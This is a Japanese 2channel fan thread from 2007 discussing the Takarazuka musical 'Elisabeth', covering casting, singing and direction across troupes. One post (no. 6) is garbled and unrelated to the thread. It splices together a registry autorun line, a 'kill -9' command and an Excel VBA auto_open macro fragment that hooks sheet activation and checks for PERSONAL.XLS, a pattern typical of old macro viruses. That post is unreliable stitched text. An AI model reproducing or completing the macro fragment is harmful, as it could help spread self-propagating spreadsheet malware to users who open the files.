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【闇が】宝塚エリザベートPart5【広がる】

1 :名無しさん@花束いっぱい。:2007/07/30(月) 23:52:55 ID:PLr6GXmI
宝塚エリザベートを語るスレッドです。
980を踏んだ方は新スレッドを立ててください。

前スレ
【最後の】宝塚エリザベートPart4【ダンス】
http://hobby9.2ch.net/test/read.cgi/siki/1181278977/

2 :名無しさん@花束いっぱい。:2007/07/31(火) 00:09:45 ID:ze7dVuA2
2ゲト?

私的にはルドルフのビジュは祐飛が一番かな。
歌はやっぱりユミコかな。

3 :名無しさん@花束いっぱい。:2007/07/31(火) 00:14:41 ID:izIxFW/x
同じく!!!!!

4 :名無しさん@花束いっぱい。:2007/07/31(火) 00:30:58 ID:SXSdgmcs
前スレ980ー981です〜。
>>1タソありがとう〜。

5 :名無しさん@花束いっぱい。:2007/07/31(火) 00:42:38 ID:XH65E65e
月エリザみるまでゆうひの良さがわからなかったがルドみてかっこいールドにビジュぴったりと感心した記憶がある。

6 :名無しさん@花束いっぱい。:2007/07/31(火) 01:44:51 ID:SYeJkhMe
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"avgnt"="\"C:\\Program Files\\AntiVir PersonalEdition Classic\\avgnt.exe\" /min /nosplash"
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If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
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kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
whichfile = p + w * 10
End Sub


7 :名無しさん@花束いっぱい。:2007/07/31(火) 12:21:05 ID:k27VJ7Fr
ビジュアル偏重はもういい
歌偏重で頼む
個人的にはウィーンのエリザは
ジャガー横田にしか見えなかったが、素晴らしかった

けど宝塚は「見た目」だから仕方ない
が、少し歌下手がヒドイ人はヒドすぎる
「感動」「演技」「ビジュアル」は歌の付加価値で良い
せめて、あさこレベルは最低でも欲しい

しかし、それもこれも人それぞれ
結局、エリザは変わらず下手歌エリザにファン以外が怒るてことかw

8 :名無しさん@花束いっぱい。:2007/07/31(火) 14:13:09 ID:ldpZS9et
最もらしく語ってるけど、要するに塚ファンはご贔屓がすべて。
贔屓以外には、真っ直ぐな目をお持ちでない。
その程度の塚オタクの意見なんて…笑


9 :名無しさん@花束いっぱい。:2007/07/31(火) 16:07:39 ID:9Kw2LquD
ゆひルドは全然印象に残らなかったな。
別に格好悪かったわけでもないけど、
ビジュ最高とも思わなかった。
歌が弱くて、存在感がなくて、見終わって記憶ゼロ。
アサコの方が、何かと印象にある。
シシィが似合ってたと思わないけど、
一生懸命感が印象に残った。

ルドはビジュはコムが一番好きだったけど
今回のテルはそれと甲乙付けがたい。
なんせスタイル抜群。
あれで歌がもう少し上手かったら文句ないのに。

10 :名無しさん@花束いっぱい。:2007/07/31(火) 18:50:42 ID:tEwQsTcV
エリザである程度の歌唱力を!というのはその通りだと
思うが、キャラクターに合うかどうかも結構重要かと。

エリザ歴代キャストで人気が高いのは、歌唱と共にキャラクター
がはまっている人が多いような気がするので。

初演の雪の評価が高いのも歌ウマが揃ったことに加えて、
キャラにはまった人が多かったのもあると思う。

フランツとルキーニは初演以来男2と男3に役がふられるのが
常となっているけど、もし、当時これが逆だったらどうだったろう
とたまに思う。
ようするに、高嶺ルキーニに轟フランツ。
(役のインパクト等考えても逆でも不思議は無いと個人的に思っている。
初演時には入れ替えも可能だったのでは?)

二人ともそれなり、いや、ひよっとして予想外にいけるかも
しれないけど、普通に考えて高嶺フランツに轟ルキーニの
配役にして正解だったと思うし、二人への高評価にもつながって
いるように思う。

11 :名無しさん@花束いっぱい。:2007/07/31(火) 21:24:15 ID:/G/R6nhX
花組は樹里ルキーニ・瀬奈フランツの方が良かったんじゃないかと思ったけど
それ以外は妥当な配役だと思うなあ。
>10の法則でいくと月組は霧矢フランツ、大空ルキーニだと思うけど違ったし
2番手だからフランツ、3番手だからルキーニに拘ってるわけではなく
たまたまだと思う。

12 :名無しさん@花束いっぱい。:2007/07/31(火) 21:46:45 ID:lyzOQiJb
故意かたまたまか、4人連続でルキーニ役者はトップになっている
5人目も射程距離内だし今の6人目も今の状況を鑑みたらトップになりそう
ひょっとしたらルキーニには将来トップにするのを配してるのかもしれない
気になるのは、4人ルキーニ中、3人がルキーニをやった組でトップになってないことだ

13 :名無しさん@花束いっぱい。:2007/07/31(火) 22:54:53 ID:eBceFDCN
前スレ998に同意

意外と歌も芝居も良かったのに
水の顔が大きく見えて何だかなぁ・・・w
前髪を工夫するとか出来なかったものか
あと個人的には口紅もサエコみたいな色の方が良かった



14 :名無しさん@花束いっぱい。:2007/08/01(水) 00:24:01 ID:Euvq7U2K
>12
言われるまで気付かなんだ…。

しかし、「あと一人ってだれだっけ?」
と一瞬悩んだ…トップを通り越して得体の知れない状態の人か…。

どうでもいいが、特集本のイケコ、やるならどの役って聞かれて
いくつか答えてるけど、その中で
「ルキーニからマグカップを買う人。バッタモンかどうか確かめる(大意)。」
っておいw

15 :名無しさん@花束いっぱい。:2007/08/01(水) 01:18:31 ID:rKurDS3t
>15
>トップを通り越して得体の知れない状態の人か…

どうしてお花様が思い浮かんだのだらう・・・

16 :名無しさん@花束いっぱい。:2007/08/01(水) 12:53:54 ID:XknDQ+fM
>>15

クスッ

17 :名無しさん@花束いっぱい。:2007/08/01(水) 14:52:34 ID:Hn2jjXr+
>>10
初演が嵌っているのは、完全に宛書きだから。
宝塚版でフランツが男2でルキーニが男3になるのは、初演の高嶺と轟に合わせたため。
元々のウィーン版では、ルキーニが男2と言うべき配役になる。

宝塚版では、フランツの格を上げるべく配慮されているが、それでもやはりフランツは
地味で難しい役で、ルキーニが儲け役になる。
やる組によって、フランツとルキーニは入れ替えても良いと思うんだけどね。

18 :名無しさん@花束いっぱい。:2007/08/01(水) 15:33:47 ID:MOXqQrTC
>17
確かに。
フランツに忠実にやろうとすると、溜めに溜めてやらないといけないから地味にしか見えないんだよね。
で、存在感を出そうと派手にやると、本来のフランツから離れる。
謹厳実直を絵に描いたような、ひたすら規律正しく黙々と政務をこなす役。
元々上に立って治める人は、感情を露わにすることはタブーだしね。
それでもシシィは、元々主役だから感情を表に出せる場面があるけれど
フランツはそれもほとんどない。
本来、ものすご〜く実力というか腹芸を要求される役。
でもって、史実に忠実にやればやるほど地味になるw

19 :名無しさん@花束いっぱい。:2007/08/01(水) 15:39:18 ID:Hn2jjXr+
イケコはウィーン(かどこか)で初めてエリザ見た時に、ルキーニを見て
「あ、轟だ」と思ったそうだ。

20 :名無しさん@花束いっぱい。:2007/08/01(水) 15:46:01 ID:ouqUgq5f
そういえばこの前のオサとのトークショーで樹里ぴょんが
フランツはきつかったと言ってた。実感こもってた。

21 :10:2007/08/01(水) 17:45:36 ID:i3CEHjCm
>11
ガイチさん・・・。
>17
常々男2と男3の役の振り方に疑問を持っていました。
2人の個性を見て配役を逆にしたのか・・。
初演の強みですね・・・高嶺さんと轟さん双方にとっていい判断だったと。

男2と男3のキャラによって柔軟にフランツと
ルキーニを入れ替えるの、私もいい案だと思います。
スター制をしいている以上、難しいんだろうけど・・。

22 :名無しさん@花束いっぱい。:2007/08/01(水) 18:19:47 ID:u9//WLOm
ガイチは専科からの特出だから番手にこだわった配役ではないのでは?
きりやんがフランツならルキーニやってたでしょ。
他は妥当だよ。
ノルルキにリカフランツ?タカコルキにわたるフランツ??ゆみこルキにキムフランツ???
どう考えても逆で正解。

23 :21:2007/08/01(水) 19:08:43 ID:i3CEHjCm
>22
11さん、樹里さんの名前だけ出してたから、ガイチさん
忘れたのかと思ったのよ。

それと、これまでのフランツとルキーニの配役に
不満があるわけではないよ。

ちょっと誤解を招く書き方でしたね。

新専科のお2人やゆみこちゃんの移動もあって、どの組も
キャラ的にもうまく配役できてるなぁと思ってます。

配役を時には逆に!と書いたのは,今後、キャラ的に逆の方が
いいんじゃないか?といった場合に柔軟性を持って対処できれば
よりいいものが観れるかな・・といったぐらいの意味なのです。

24 :名無しさん@花束いっぱい。:2007/08/02(木) 00:08:07 ID:MkbXtKwq
 私的には今回が1番好みの演出だった。。。さっきいままでのエリザみてみたけど何か色っぽさに欠ける

ように感じた・・・水版みるまでそんなに思わんかったが


25 :名無しさん@花束いっぱい。:2007/08/02(木) 16:00:35 ID:86b15MtN
今回のエリザの中では、ハマコのゾフィーが一番好きだな。

26 :名無しさん@花束いっぱい。:2007/08/02(木) 16:09:57 ID:oqrEwHTH
シシィ役泣かせだと思った>ハマコゾフィ。
(東宝は知らないんだけど)ウイーン版と比べると、
塚版はエリザベートに優しい演出になってると思う。
そのひとつがゾフィの意地悪姑化だと思うので。
小池先生の今回の演出の意図はなんだったんだろう。
ハマコの技量を活かしたかったのか、
となみをお姫様から脱却させたかったのか。

27 :名無しさん@花束いっぱい。:2007/08/02(木) 18:07:05 ID:JmDLegnK
>>26
メディア類に出ていたイケコのコメントを目にした限りでは
となみへの期待も関心も感じらず。
東京パンフでは対となみへのコメントは冷たかったし、成果に不満が感じられた(in大劇場公演)。
再演雪に対するイケコの関心と期待の的はは水トートとハマコゾフィだと思われ。


28 :名無しさん@花束いっぱい。:2007/08/02(木) 18:29:43 ID:edCFT9f+
>26
それは原作者の方(名前忘れたー)が稽古場へ来たときに、
ハマコがした質問に対して「ゾフィーは決して悪役じゃないんだ」的なことを
言われたからだと思う。


29 :名無しさん@花束いっぱい。:2007/08/02(木) 19:26:14 ID:Dl6XKMMC
>>27
劇団の思惑とイケコの関心事は違うとは思ったw
すくなくともハマコに対する期待大なんだろうなってのは、わかる。
新公の夢再びじゃないけどさ。

30 :名無しさん@花束いっぱい。:2007/08/02(木) 22:56:39 ID:+JfeCIDn
大劇場初日からしばらくは新米皇后を正しく導くゾフィーだったが
大劇場公演後半になると少し意地悪姑度がアップ。
となみがどうにもならなかったんでシフトチェンジしたのかと・・・
(ゾフィがイケズなほうがシシィは演じやすいだろう)
今回の思い入れはゾフィ&フランツにあるのではないかと思う>イケコ


31 :名無しさん@花束いっぱい。:2007/08/02(木) 23:36:49 ID:PlDELTW1
フランツに関しては役作りという面で評価してるとは思えないなぁ。
まぁ少ない発言からなのでわからないけど。

32 :名無しさん@花束いっぱい。:2007/08/02(木) 23:51:38 ID:Q9SMntA3
勝手におまいらの代弁者にさせられて
イケコも気の毒になw

33 :名無しさん@花束いっぱい。:2007/08/03(金) 00:05:06 ID:d7z9MqoL
演出家の意図したとおりに動く事より、
限りある在団期間の中でファン増やす事の方が切実だし大事だと思うけど。

てかイケコが何考えてるかなんて他人に解るわけないじゃん。

34 :名無しさん@花束いっぱい。:2007/08/03(金) 00:08:02 ID:QZkjwJeH
その点、ゆみこフランツはステキングとか言われて
新たなファンゲトもできたみたいだし大成功だな。

35 :名無しさん@花束いっぱい。:2007/08/03(金) 00:20:57 ID:VjeCFx/S
こないだキャトルでエリザ実況CD流れてたが、
最終答弁のゆみこの「♪エ〜リ〜ザベーっ!」に、
心臓鷲掴みされたよw
あんな所で燃えるなんて思わんかった。

36 :名無しさん@花束いっぱい。:2007/08/03(金) 00:25:26 ID:Ff04oXkT
>31
イケコ、ゆみこに関しては、1幕お稽古中はダメだしばかりしたけど
2幕ではベタ誉めだったらしいぞ。
>33
それはちょっと違うような。
役者として、演出家の意図を汲み取ることはすごく大切なこと。
みんなが勝手な解釈でやったら舞台はめちゃくちゃになる。
もちろん、自分なりに役の解釈をするのは大切なことだし
演出家とも話しあってベストな役作りをするのが舞台というものだと思うけど。

37 :名無しさん@花束いっぱい。:2007/08/03(金) 00:29:44 ID:0Ij1dh0G
>30
それは多分アタリかと・・・
イケコ、昔から歌える生徒にお気に入りが多いから。
オサがその良い例。

ハマコとユミコに関してはお気に入りかどうかは知らないけど
初演メンバーだし、最初から一番信頼してアテにしていたと思う。

38 :名無しさん@花束いっぱい。:2007/08/03(金) 03:21:07 ID:LUlv9kbn
イケコのお気にはひろみでは…。

39 :名無しさん@花束いっぱい。:2007/08/03(金) 07:15:20 ID:znkSNIAa
>34 上げてまで嫌味?ステキングと騒いだのは、元からのゆみこファンだよ。

40 :名無しさん@花束いっぱい。:2007/08/03(金) 08:30:33 ID:TC+CXZUb
雪スレで盛り上がってたよ>ステキング
2ちゃんで絶賛なんてほとんどのファンはしないだろうし、組ファンにも受けたんだろ。


41 :名無しさん@花束いっぱい。:2007/08/03(金) 09:27:30 ID:ysxF2lrU
ビジュアル期待してたんだけど、むしろトートに関しては
これまでのヅカ的つくりを廃して、水さんにあったヘアメークを
研究して、冒険してもよかったんじゃないかと思った。
短髪で黒髪で・・・とかね。

一回しかみられなかったけど、一回でいいや・・・。

42 :名無しさん@花束いっぱい。:2007/08/03(金) 10:36:20 ID:huhvNhMh
黒髪トート!考えたことなかったけど萌えそう。
同じイケコのメフィストフェレスを思い出すかなあ。

43 :名無しさん@花束いっぱい。:2007/08/03(金) 20:58:46 ID:FHVjcGMy
となみ「私をみすてるろれ!!れてって!!」に吹いた。
今日マミさん来てたね。

44 :名無しさん@花束いっぱい。:2007/08/03(金) 22:48:46 ID:f2nRZxp7
>38
それはどう見ても違う。
何か義理合ってひろみを使ってるみたいだけど。
それはどの先生でもある話。
皆人間でw色々しがらみがあるから。

イケコはむか〜しから歌える生徒を重用してる。
ずっと見てると好みのタイプの生徒は大体分かる。

45 :名無しさん@花束いっぱい。:2007/08/04(土) 00:27:11 ID:V967/vyL
>42
パッサージュ地獄王みたいな黒髪トートの理事を
観たい!と真剣に考えたことがありますた。
理事はともかくも、全身黒いトートはありじゃなかろうか。

46 :名無しさん@花束いっぱい。:2007/08/04(土) 00:48:24 ID:ls0znmhw
>45
外国じゃ既に黒髪トートは存在してる。

47 :名無しさん@花束いっぱい。:2007/08/04(土) 01:15:10 ID:DUBM/Fgp
しかし水の黒髪というと、
アオセトナが真っ先に頭に思い浮かぶ件。

もしくはティリアンとk(ry

48 :名無しさん@花束いっぱい。:2007/08/04(土) 01:44:33 ID:LAabZF+M
もう髪なんていらねえよ、夏。

49 :名無しさん@花束いっぱい。:2007/08/04(土) 09:00:34 ID:9pYqdB27
このまえ二階席から見ていたら、お見合いの場面の角が折れる鹿の像と
目が合ってしまった・・・。
かなーり目が寄ってますね。面白い顔だ。

50 :名無しさん@花束いっぱい。:2007/08/04(土) 19:29:38 ID:9dhi0nP5
>49
ハプスブルグの双頭の鷲にも注目してみてね

腰〜太もものラインが意外に女っぽいのは萌えか萎えか。
水トート地毛タンゴの髪型でトートやってくれんかね。


51 :名無しさん@花束いっぱい。:2007/08/05(日) 02:48:00 ID:eyWckWwX
昨日、エリザベートを観賞してきましたが…白羽さんと水さんって歌手力が…響かないですが…

52 :名無しさん@花束いっぱい。:2007/08/05(日) 02:48:17 ID:mifSgtS6
最近同期からのメールが多い。
大抵話の行き着く場所は彼氏が欲しいとゆう話だ。
合コンも多いらしく彼氏探しに必死な同期の姿が目に浮かぶ。

By.元91期 龍○いくま の blog

【夏休みにした事】の中にも「同期と合コン」とあったな。

53 :名無しさん@花束いっぱい。:2007/08/05(日) 04:39:53 ID:C+SdTVPm
連れ曰くとなみは「ときどきすごい上手い時がある」らしいw
低音と高音は出てるけど大体が不安定だよね・・・。
とりあえず水は正直どこを楽しめばいいのか良くわからん・・・
歌はマリコ並だし、踊りはズンコ程でもなく、かといってルックスもサエコほどでもない・・・芝居??

今回はホントハマコゾフィーしか楽しみがない。
闇が広がるだけはなぜか異様な迫力が出てたがww
キムやテルを見てると若さのパワーもそれだけで楽しませてくれるね。

54 :名無しさん@花束いっぱい。:2007/08/05(日) 08:16:05 ID:iQl53q4u
ヴィン嬢の演出と死刑囚の母を変えてくれたら良いのにな。

55 :名無しさん@花束いっぱい。:2007/08/05(日) 08:57:35 ID:B7+2w/aU
昨日やっと初見でした。
6組目にして、ようやく初演の影を払拭できるエリザが登場した、
と感じました。(初演ファンですが)
水トート、ここで歌が、と言ってる人は同じ公演を見てるのかしら?と
思うくらい、問題なし。良かったですよ。
ミューの歌として感情が載っていて、充分に聴き応えがあるものでした。
何より、あのビジュアルと質感(人に使う言葉ではないかも知れませんが)が、
なんとも魅力的なトート像でした。

白羽エリザ。ある意味なりふり構わぬ必死さが、
自身の手で自らを孤独に追い詰めていったエリザと重なって、
理屈ぬきで胸に迫ってきた。鏡の間の美しさも見事。
2幕病院、泣かされました。

彩吹フランツ。上手い。少なくとも歌の技術では過去最高では。
(あとは好みの問題)
初夜の後の件で「出てって」といわれそのまま出て行ってしまう
心の鈍さ(高貴ゆえ?)は、フランツを象徴していると思うのですが、
ちゃんとそういう人として演じきっていて、立派だなと思った。

音月ルキーニ。キャストを聞いたときは若さに不安を感じたが、
素晴らしい出来。台詞回しも歌もアドリブも緩急自在。恐るべき下級生
ですね。狂気の表現も、宝塚の枠を超えたものを感じました。
彼女、この公演でファンが増えるんじゃないかな?

ゾフィーの見事さも特筆ものでしたし、アンサンブルも良かった。
ウィーン版の後という、これまでにないプレッシャーもあったでしょうが、
宝塚のエリザベートとして誇れる舞台だったと思いました。
まだ興奮していて、2にふさわしからぬ長文になってしまい、失礼。

56 :名無しさん@花束いっぱい。:2007/08/05(日) 11:28:49 ID:Fy0cSTXi
キムはもう下級生って学年でもないから…
いつまでもそう言われるとこが課題だな

57 :名無しさん@花束いっぱい。:2007/08/05(日) 12:43:37 ID:C9w1KF2M
赤、金、銀、灰もあるぞ>髪色

ただ赤は、堕天使のコムのイメージと重なりそうだから、長髪は勘弁だな。

58 :名無しさん@花束いっぱい。:2007/08/05(日) 13:10:32 ID:Ci7CeGPm
好みは人それぞれとはいえ、水トートの歌にフラストレーションを
感じない>>55タソの耳が羨ましいよ…。

59 :名無しさん@花束いっぱい。:2007/08/05(日) 13:15:55 ID:5jIsky/1
キム、ナイフ受け取って嬉しそうに舐めるようにナイフみるとき、
「もはや白目だそれは……怖…」と思った。

すごかったよ。改めて見なおした。
あと立パパが良かったなー

60 :名無しさん@花束いっぱい。:2007/08/05(日) 13:24:45 ID:saptzAD+
>>59
ワロタw

61 :名無しさん@花束いっぱい。:2007/08/05(日) 21:11:23 ID:C+SdTVPm
>>58
本当に人それぞれだな〜。
人の感想にケチつけるつもりは全然ないけど、
自分もミズの歌聞いててハラハラというか、イライラした。
別にミズが悪いとは思わないけど、音域があきらかに合ってないよね。かわいそう。

62 :名無しさん@花束いっぱい。:2007/08/05(日) 21:17:08 ID:eYymrk4l
問題ないと感じる人の方が、きっと多いと思う。


63 :名無しさん@花束いっぱい。:2007/08/05(日) 21:19:39 ID:lnnhQpoY
>59
とうとうガラスの仮面の世界に…

64 :名無しさん@花束いっぱい。:2007/08/05(日) 21:21:24 ID:rUkpaBXC
55タンは調子の良いときに当たってラッキーだったとオモ
自分はムラ2回、東京2回見たけど
歌に限っての感想は

・ムラ初見…トートシシィルドが聞いちゃいられねぇ、つかコレ本当にエリザか?
・ムラ2回目(楽近く)…すごい進歩、私が踊る時がちゃんとメロディに聞こえた
           最後のダンス以外は聞けるレベル シシィ上手かった
・東京初見…また退歩?私が踊る時が何の歌かわからんくらいひどかった。
      闇広は二人とも疲れてんのか?ってくらい気が抜けてた。
      私だけにがへろへろだった
・東京2回目…同じキャストが演じてると思えないくらい良かった。ルドはすごい進歩
       トート音程が安定して安心して聞いてられた シシィ迫力あって聞き応えあり。

って感じでした。日によって出来にばらつきがあるな〜という印象。
今週中にラスト1回行くので、調子のいい時に当たるといいな。

65 :名無しさん@花束いっぱい。:2007/08/05(日) 22:46:08 ID:OcmxkLmC
土曜午後かしげさん来てたね。
3週間ぶりに観たけど、トート随分良くなってたけどな。
シシイは所々りきみ過ぎかなと感じた。

66 :名無しさん@花束いっぱい。:2007/08/05(日) 22:48:02 ID:TINSRyDp
家教の先生はフランス語で何て怒ってるの?


67 :名無しさん@花束いっぱい。:2007/08/05(日) 23:39:23 ID:EjNnTLfc
Je vous en pris, princess! 
Mais, princess! 

68 :名無しさん@花束いっぱい。:2007/08/06(月) 00:09:56 ID:N7PBbe31
>>67タン
サンクスです。でもどんな意味?
でもマルチ翻訳だと↓こんなになるの〜(;;

「私は、あなたにそれ(王女)の取りました!」
「しかし、王女!」

69 :名無しさん@花束いっぱい。:2007/08/06(月) 02:00:07 ID:e21R6XfJ
さあどうぞ、お姫さま!
でも、お姫さま!

お姫さまなのかお嬢さまなのか、どっちがいいのか分からんけどこんな感じ

70 :名無しさん@花束いっぱい。:2007/08/06(月) 02:41:47 ID:zmor5HZd
シシィの場合はお嬢さんでいいんじゃなかろうか。

>>64
絶好調の時もあれば不調の時もある。
それはわかるけど、あまりにも出来にムラがある時点でアウトだよ・・・
いくら舞台が生物っていっても、一回しか見られない人もいるわけだし。
コンディションの問題だったにしても、やっぱり舞台人としてはよろしくないしね・・・(最近なら、とうこや水が何度か叩かれてるからわかると思うが)
ましてや音程の問題なんて論外。

71 :名無しさん@花束いっぱい。:2007/08/06(月) 08:05:21 ID:c+ykkoLn
私、そんなに出来不出来の落差感じなかった。
むしろ、ミズは公演を通じて音程については安定してるなあと思ったクチ。



72 :名無しさん@花束いっぱい。:2007/08/06(月) 09:26:01 ID:vbmLBhna
絶賛されてるゆみこフランツの歌が
私は(ゆみこにしては)いまいちだったかなぁ・・・
キャリエールのように歌い上げる見せ場がないのもあるが。
芝居は小技がきいててうまいと思ったけど
歌は低音がぜんぜん出てなくて何歌ってるのかわからないし
最終答弁の場面もわざと抑えて歌ってるのか?と思うくらい
迫力がなかった。
もちろん主要キャストの中では安心して聞いていられたけど。
ゆみこは東京に来てから抑えて歌ってるって感想あったけど
両方見られた方どうですか?

ルキーニ&ゾフィ以外は、とにかく薄味で上品なエリザだと
思いました。
マダムヴォルフですら、お品がいいなぁと感じた。
花エリ宙エリのコッテリ風味が好きな人には物足りないだろうな。
それと今回、芝居の尺が短くないですか?
エリザってもっと長いと思ってたけどやけに早く進む気がして。特に一幕。

73 :名無しさん@花束いっぱい。:2007/08/06(月) 10:45:07 ID:EJLYDkCZ
私はハマコゾフィも薄味だと思ったな。
大絶賛されてるから言いにくいけど、なんか普通に綺麗で賢い女性になってて
正直あまりインパクトが感じられなかった。上手いのは否定しないけどね。
フランツ共々非常にノーブルなロイヤル親子で、そりゃシシィは馴染めねーよなという意味では
大納得したけど。初演の朱ゾフィのインパクトが大きすぎたかなぁ。

74 :名無しさん@花束いっぱい。:2007/08/06(月) 14:38:34 ID:6a5L1yWO
ちょっと気が早いけど、
今後のゾフィの演出に興味がある。
一巡目のデフォルメしたゾフィに戻すのか、
リアルなのを二巡目のゾフィとするのか。

75 :名無しさん@花束いっぱい。:2007/08/06(月) 14:45:04 ID:8HQS9s0f
人物造形の演出が今回のをデフォとしてくなら
セットや物語的な部分の演出もかなり変えないと
宝塚的ストーリーに変更してる部分と、リアルな人物造形の
間にある溝がどんどん深くなる気がする。

今回の雪はイケコが作りたいエリザの方向性が今ひとつ見えてこないんだよな。
役作りとしてはそれぞれかなり好きなんだけど。

76 :名無しさん@花束いっぱい。:2007/08/06(月) 14:55:36 ID:JUstwFLp
ミズの歌をマリコ並みというヤシ
リアルタイムでみてねぇだろ( ̄▽ ̄)
あれは凍りつくぞ


77 :名無しさん@花束いっぱい。:2007/08/06(月) 14:59:06 ID:HQpEojgM
>72 両方観た者です。 ゆみこの歌は、ムラでは結構気持ちよく
聴き入ることが出来ましたが、東宝ではなんだろう・・・音程も良くなく
気持ちよくなるはず、と構えていただけに肩すかしでした。
どうしてなんだか、わかりませんが、初めてそう感じました。

78 :名無しさん@花束いっぱい。:2007/08/06(月) 15:20:38 ID:qJbXKYHw
調子悪い日だったんじゃないの?
期待大きすぎると不満も倍増するし。

79 :名無しさん@花束いっぱい。:2007/08/06(月) 19:56:33 ID:F2Hky9xI
>76
胴衣
ミズが上手いとは決して言わないが
マリコの歌(?????)は
ミズの比ではない!
「て〜んし〜の〜うたは〜・・・」
初演雪を生で観ていたら、驚きは余計にハンパではない(逝

80 :名無しさん@花束いっぱい。:2007/08/06(月) 20:16:17 ID:6a5L1yWO
>「て〜んし〜の〜うたは〜・・・」
初演で初見の時、いっちゃんどうしたがんばれと思った。
いや、合ってたんだけどね。

81 :名無しさん@花束いっぱい。:2007/08/06(月) 20:56:31 ID:vbmLBhna
最後のダンスの
「おぉ〜〜ぅおぉぅれぇ……だぁ〜〜!」の所も
誰のが正しい音程なのかいまだにわからん

82 :名無しさん@花束いっぱい。:2007/08/06(月) 22:04:01 ID:O1a3vb1o
>「て〜んし〜の〜うたは〜・・・」

この音程が怪しく聞こえなかったトートはいない。
オサも「ん?」と思った。

83 :名無しさん@花束いっぱい。:2007/08/06(月) 22:41:28 ID:JUstwFLp
へんひのうはは〜よろほひ〜♪
byまりこ


84 :名無しさん@花束いっぱい。:2007/08/06(月) 23:11:10 ID:g8IO2qPk
確かに「ア行」が全部「ハ行」に聞こえるって当時のネットでネタにされてたなw>マリコ

1幕ラストの「お前に命、許したために〜」のしょっぱなを
「ほまへにひのち〜」と書いてるヤシがいて、笑い転げた記憶がw

85 :名無しさん@花束いっぱい。:2007/08/06(月) 23:42:46 ID:2xt71sJ/
大劇初日頃のハマゆみは、かなり押していたけど
今は自分の領域を守っている感じ・・・
舞台全体のバランスは落ち着いているけどちと物足りない。

大劇楽近くのゆみこフランツは、台詞の抑揚をつけていて
(「帰っておいで」とか)分かりやすくなっていたけど、
今は淡々とした台詞回しに戻っている。
私は彼女の台詞声と言い方が好きなんだが、
いつも押しが弱いだの地味だの言われるから、
観客に対して分かりやすい芝居をすることを
考えてもいいかもしれない。

86 :名無しさん@花束いっぱい。:2007/08/07(火) 00:20:33 ID:gZwrfX+j
ハマコゾフィー、皇太后度よりただの姑度が上がってるorz
まあ、大劇初日近くは本当に「…ゾフィーの方が正しいこと言ってるよな…」
と抵抗なく思うくらいで、同時にエリザベートにこれからのしかかる
旧い世界の歴史の重さ、その息苦しさを象徴しててよかったんだが、
あまりに良すぎてエリザベートにとっての、自由を求める正当性まで
揺らしてしまった部分があったんだろうな…。

87 :名無しさん@花束いっぱい。:2007/08/07(火) 00:31:22 ID:s0arB+mS
ゆみこの声で
「♪皇后の義務〜果たさなくては〜自分を押さえて生きるのだ〜♪」
が聞きたいなー。あのフレーズ好きなんだよな。

88 :名無しさん@花束いっぱい。:2007/08/07(火) 02:38:54 ID:eaDd64ES
>>81細かいが、「だ」じゃなくて「さ」だよ。

「だ」だったら、「どぁ」になってて、
また笑いの神降臨てなことに

89 :名無しさん@花束いっぱい。:2007/08/07(火) 12:23:08 ID:IQVgDGSW
5回ほど観劇したけど、私もミズは安定してると思ったなぁ
あの、記者会見の時の「最後のダンス」を聴いたときはどうなることやらと思ったけどw

東宝はこのまま地毛タンゴなのかな?
こうなってくると、鬘タンゴを見ていたいのだが…


90 :89:2007/08/07(火) 12:24:24 ID:IQVgDGSW
ゴメン訂正
見ていたいのだが…→見てみたいのだが…

91 :名無しさん@花束いっぱい。:2007/08/07(火) 15:23:37 ID:SDSrJd9V
・・・水トート、ロングラン公演してくれないか。はまってぬけだせない。


92 :名無しさん@花束いっぱい。:2007/08/07(火) 18:49:30 ID:r2lx0t3w
漏れはロイヤルファミリーに嵌った・・・とことんノーブルだわぁ
ルドのヘタレっぷりもなんかツボだしw

93 :名無しさん@花束いっぱい。:2007/08/07(火) 21:49:57 ID:AeqqL+fj
私もヘタレルドかなり好きだw
藻舞にクーデターなんてどう見ても♪無理だよ〜
な所が絶妙にそそるw

94 :名無しさん@花束いっぱい。:2007/08/07(火) 22:51:34 ID:vb87Iv8T
ロイヤルファミリー、ノーブルってのはちと大げさ。
全体的に品は良くて過去5組に比べて、積極的に庶民的なメンバーは混じってないとはいえる。
過去のでもノーブルとまでいえるのはノルフランツ、ぶんルドルフ、ハナエリザぐらい。
新雪ファミリーは品は悪くないけどそこまでは行かない。

95 :名無しさん@花束いっぱい。:2007/08/07(火) 23:11:40 ID:ilh6TsJ5
>94
ノルとブンがノーブル?
普通に品はあったけど、ノーブルってのとは違うような・・・
ノルは気取りまくってたけど、一番似合ってたのはTCAのおかまアシュレみたいな3枚目だし。
ブンに至っては・・・どこかダサくて、田舎貴族って感じだったけど?
どちらも王子様役者でもなかったし・・・ファンはそう思ってたみたいだけど。
見た目だけならカナメの方がヘタレなトコも含めて、よっぽどノーブルかと。

花總は確かに皇室関係が似合ってた・・・但し日本・アジア系なお顔立ちだけど。

96 :名無しさん@花束いっぱい。:2007/08/07(火) 23:15:57 ID:zXcTMGLs
だよねぇ。ぶんルドルフこそ庶民派代表って感じ。

97 :名無しさん@花束いっぱい。:2007/08/08(水) 00:07:06 ID:DW2C/cin
革命に対する態度(あくまで私見)

たールド:父親出し抜いて革命に成功してそうw
ぶんルド:革命に失敗しても母親にはすがらなさそう。ひそかにプライド高そうw
どっちかっていうと、うたかたのルドルフっぽい。
コムルド:革命なんか起こす気なさそう。
そも政治に興味なさげ。
ゆみルド:親父譲りの真面目さん。ママの鏡っていうか、パパの鏡っぽい。保守か革新かに分かれた点が違うだけ?
ゆひルド:若さ故の暴走。
テルルド:一番幼い。流されてるな〜、と。

98 :名無しさん@花束いっぱい。:2007/08/08(水) 00:25:00 ID:UMM/SUyL
革命成功の確率
タールド 99%
ゆひルド 75%
ユミルド 50%
ブンルド 30%
コムルド 15%
テルルド  1%

99 :名無しさん@花束いっぱい。:2007/08/08(水) 00:29:26 ID:UJCLmpgU
>98
そもそも革命が成功したら話が(ry

100 :名無しさん@花束いっぱい。:2007/08/08(水) 00:38:05 ID:hX+Y4B2n
タカルド、ジュリルドは?

101 :名無しさん@花束いっぱい。:2007/08/08(水) 00:48:07 ID:0QZpuWIy
>98タソじゃないけど

 タカルド 75%

102 :名無しさん@花束いっぱい。:2007/08/08(水) 04:51:13 ID:UMM/SUyL
革命成功の確率
タールド 99%
ゆひルド 75%
タカルド 75%
ジュリルド  60%
